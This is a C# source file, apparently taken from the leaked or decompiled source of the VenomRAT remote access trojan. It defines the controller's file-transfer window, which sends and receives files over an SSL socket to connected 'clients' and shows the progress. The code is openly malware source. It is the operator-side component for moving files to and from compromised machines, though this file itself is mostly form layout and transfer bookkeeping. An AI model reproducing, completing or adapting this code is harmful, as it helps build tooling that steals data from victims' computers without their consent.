VenomRat-SourceCode/Forms/FormDownloadFile.cs
2023-07-29 23:37:10 +05:30

199 lines
5.6 KiB
C#

using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Net.Sockets;
using System.Windows.Forms;
using DevExpress.XtraEditors;
using Server.Connection;
using Server.Helper;
namespace Server.Forms;
public class FormDownloadFile : XtraForm
{
public long FileSize;
private long BytesSent;
public string FullFileName;
public string ClientFullFileName;
private bool IsUpload;
public string DirPath;
private IContainer components;
public Timer timer1;
public Label labelsize;
private Label label3;
public Label labelfile;
public Label label1;
public FormMain F { get; set; }
internal Clients Client { get; set; }
public FormDownloadFile()
{
InitializeComponent();
}
private void timer1_Tick(object sender, EventArgs e)
{
if (FileSize >= int.MaxValue)
{
timer1.Stop();
MessageBox.Show("Don't support files larger than 2GB.");
Dispose();
}
else if (!IsUpload)
{
labelsize.Text = Methods.BytesToString(FileSize) + " \\ " + Methods.BytesToString(Client.BytesRecevied);
if (Client.BytesRecevied >= FileSize)
{
labelsize.Text = "Downloaded";
labelsize.ForeColor = Color.Green;
timer1.Stop();
}
}
else
{
labelsize.Text = Methods.BytesToString(FileSize) + " \\ " + Methods.BytesToString(BytesSent);
if (BytesSent >= FileSize)
{
labelsize.Text = "Uploaded";
labelsize.ForeColor = Color.Green;
timer1.Stop();
}
}
}
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
Client?.Disconnected();
timer1?.Dispose();
}
catch
{
}
}
public void Send(object obj)
{
lock (Client.SendSync)
{
try
{
IsUpload = true;
byte[] obj2 = (byte[])obj;
byte[] bytes = BitConverter.GetBytes(obj2.Length);
Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
Client.SslClient.Write(bytes, 0, bytes.Length);
using (MemoryStream memoryStream = new MemoryStream(obj2))
{
int num = 0;
memoryStream.Position = 0L;
byte[] array = new byte[50000];
while ((num = memoryStream.Read(array, 0, array.Length)) > 0)
{
Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
Client.SslClient.Write(array, 0, num);
BytesSent += num;
}
}
Program.mainform.BeginInvoke((MethodInvoker)delegate
{
Close();
});
}
catch
{
Client?.Disconnected();
Program.mainform.BeginInvoke((MethodInvoker)delegate
{
labelsize.Text = "Error";
labelsize.ForeColor = Color.Red;
});
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormDownloadFile));
this.label1 = new System.Windows.Forms.Label();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.labelsize = new System.Windows.Forms.Label();
this.label3 = new System.Windows.Forms.Label();
this.labelfile = new System.Windows.Forms.Label();
base.SuspendLayout();
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 73);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(76, 16);
this.label1.TabIndex = 0;
this.label1.Text = "Downloaad:";
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.labelsize.AutoSize = true;
this.labelsize.Location = new System.Drawing.Point(80, 73);
this.labelsize.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.labelsize.Name = "labelsize";
this.labelsize.Size = new System.Drawing.Size(16, 16);
this.labelsize.TabIndex = 0;
this.labelsize.Text = "..";
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(9, 31);
this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(33, 16);
this.label3.TabIndex = 0;
this.label3.Text = "File:";
this.labelfile.AutoSize = true;
this.labelfile.Location = new System.Drawing.Point(80, 31);
this.labelfile.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.labelfile.Name = "labelfile";
this.labelfile.Size = new System.Drawing.Size(16, 16);
this.labelfile.TabIndex = 0;
this.labelfile.Text = "..";
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(478, 122);
base.Controls.Add(this.labelfile);
base.Controls.Add(this.labelsize);
base.Controls.Add(this.label3);
base.Controls.Add(this.label1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormDownloadFile.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormDownloadFile.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.MaximizeBox = false;
base.MinimizeBox = false;
base.Name = "FormDownloadFile";
this.Text = "Download";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(SocketDownload_FormClosed);
base.ResumeLayout(false);
base.PerformLayout();
}
}